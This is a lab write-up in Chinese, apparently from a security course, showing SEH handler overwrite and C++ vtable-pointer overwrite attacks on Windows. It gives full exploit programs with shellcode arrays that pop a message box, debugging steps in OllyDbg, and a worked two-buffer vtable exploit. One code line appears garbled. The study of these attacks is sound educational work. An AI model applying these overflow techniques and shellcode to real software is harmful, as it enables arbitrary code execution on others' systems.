目标
了解 SEH 和虚函数攻击两种攻击方式,通过调试代码来理解进行上述攻击的过程。
测试步骤与结果
SEH 攻击
main.cpp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| #include<windows.h> #include<string> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53" "\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x48\xFE\x12\x00"; void MyExceptionHandler(void) { printf("got an exception,press Enter to kill process!\n"); getchar(); ExitProcess(1); } void test(char* input) { char buf[200]; int zero=0; __asm int 3 __try { strcpy(buf,input); zero=4/zero; } __except(MyExceptionHandler()){} } int main() { LoadLibrary("user32.dll"); test(shellcode); system("pause"); return 0; }
|
在此实验中,我们定义了一个自定义的错误处理函数MyExceptionHandler(),可以观察到,__try中试图除零,因此引发了一个异常,这个异常将由我们自定义的错误处理函数处理。如果strcpy操作溢出了,并精确地将栈帧中的 SEH 异常处理句柄修改为shellcode的入口地址时,操作系统将会错误地使用 shellcode 去处理除 0 异常,代码植入成功。
前面的__asm int 3是为了使得调试器能够以 attach 的方式进行调试。
- 在 ollydbg 端完成实时调试配置,将它设置为实时调试器。
![]()
- 启动程序,在运行到 int 3 断点时成功进入 ollydbg 中。
初次进入时可能会有这个错误,设置一下 udd 和 plugins 的目录即可。
![]()
- 找到
strcpy函数,并为其设置一个断点。
![]()
- 此时可以观察到 shellcode 的起始地址为
0x12fe48。 ![]()
- 触发异常时,我们查看 SEH 链:(查看→SEH 链)
- 上方的第一个地址指向了下一个 SEH 记录:
0x12ffb0。接着是 SEH 异常处理程序,我们只要把0x12ff1c的内容改成 shellcode 的起始地址就可以了。
- 第一个 SEH 地址是
0x12ff18,异常处理地址是0x12ff1c,我们的 shellcode 应该填充这些差值空间,总共有 212 个字节(0x12ff1c-0x12ff18)回头看一眼我们要填入的 shellcode,最后四字节 (\x48\xFE\x12\x00) 恰好是 shellcode 的起始地址!
- 去掉系统中断(
asm int 3)后的运行效果如下,弹出对话框正是 shellcode 预期的功能。 ![]()
虚函数攻击
main.cpp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| # include <windows.h> # include <iostream.h> char shellcode1[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53" "\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x5C\xE3\x42\x00";
class vf { public: char buf[200]; virtual void test(void) { cout<<"Class Vtable::test()"<<endl; } } ; vf overflow, *p; void main(void) { LoadLibrary("user32.dll"); char * p_vtable; p_vtable=overflow.buf-4; fake virtual table to 0x004088cc =0xE4; p_vtable[2]=0x42; p_vtable[3]=0x00; strcpy(overflow.buf,shellcode1); p=&overflow; p->test(); }
|
-
在strcpy处可能会触发溢出,修改虚函数指针。Vtable的值需要经过一次调试才可得知。
从这两张图可以看出,缓冲区的入口为0x0042e35c。虚表指针位于缓冲区前,p_vtable定位到了这个指针,它指向了0x0042e358处,进一步证明缓冲区入口正确。
-
Shellcode 的末尾后四个字节地址应该是0x0042E430。 ![]()
-
更换 shellcode 和地址后,成功弹框,shellcode 成功执行。 ![]()
测试结论
思考题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| # include <windows.h> # include <iostream.h> # include <stdio.h> class vf { public: char buf[200]; virtual void test(void) { cout<<"Class Vtable::test()"<<endl; } } ; class vf1 { public: char buf[64]; virtual void test(void) { cout<<"Class Vtable1::test()"<<endl; } } ; vf overflow, *p; vf1 overflow1, *p1; void main(int argc, char* argv[]) { LoadLibrary("user32.dll"); if (argc == 3) { strcpy(overflow.buf,argv[1]); strcpy(overflow1.buf,argv[2]); p=&overflow; p->test(); } else { printf("vf argv1 argv2\n"); } }
|
-
这应该是利用虚函数攻击的一个例子。其中定义了两个类:vf和 vf1,vf具有 200 字节的buf大小,而vf1具有 64 字节的buf大小。我们需要提供两个参数,一个复制到vf的buf区,另一个复制到vf1
的buf区中,要通过vf类的test方法调用 shellcode。 ![]()
-
argv[1]被复制到overflow.buf中,起始地址为0x42eb5c。算出其终止地址应为0x42ec20。
-
第二个strcpy时,将第二个参数拷贝到overflow1.buf中,其首地址为0x42eb14,在overflow上方,我们想到应该可以利用这个关系,溢出这个 64 字节的buf,覆盖掉vtable,让其调用 shellcode
-
构造 shellcode 如下,其中插入vf中的 shellcode1 写入弹框代码,插入vf1中的 shellcode2 向下覆盖掉vf1的vtable
,变为 shellcode1 的尾地址,而令 shellcode1 中最后四字节为 shellcode 第一个指令的地址(即overflow.buf的起始位置)。在这个构造下,可以成功执行 shellcode,以弹出对话框。
-
利用成功截图。 ![]()